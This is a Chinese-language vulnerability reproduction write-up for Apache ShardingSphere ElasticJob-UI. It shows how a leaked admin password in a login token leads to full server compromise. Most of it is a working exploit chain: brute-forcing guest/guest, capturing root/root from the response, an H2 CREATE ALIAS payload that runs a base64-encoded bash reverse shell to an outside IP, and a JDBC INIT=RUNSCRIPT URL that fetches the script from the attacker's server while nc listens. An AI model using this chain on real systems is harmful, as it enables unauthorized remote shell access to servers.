一、漏洞概述
Apache ShardingSphere ElasticJob-UI由于返回 token 中包含了管理员密码,攻击者可利用该漏洞在授权的情况下,构造恶意数据执行权限绕过攻击,最终获取服务器最高权限。
二、影响范围
三、访问页面
四、漏洞复现
1、登录框账号密码爆破,获得普通用户密码guest/guest
2、使用用户密码guest/guest登录,抓包返回管理员账号密码root/root
3、使用账号密码root/root登录后台
4、构造反弹shell,shell.sql内容为
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "123";}';CALL EXEC ('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC85MS4yMDguNzMuMTAwLzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}')
其中YmFzaCAtaSA+JiAvZGV2L3RjcC85MS4yMDguNzMuMTAwLzc3NzcgMD4mMQ==是bash -i >& /dev/tcp/91.208.73.100/7777 0>&1的base64编码。
5、把shell.sql传到自己的vps服务器,并开启临时http服务
python3 -m http.server 6666
6、vps服务器打开一个页面监听7777端口
nc -lvp 7777
7、在后台传shell,点击Test connect测试连接。
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://91.208.73.100:6666/shell.sql'
8、vps服务器监听的7777端口成功连接上。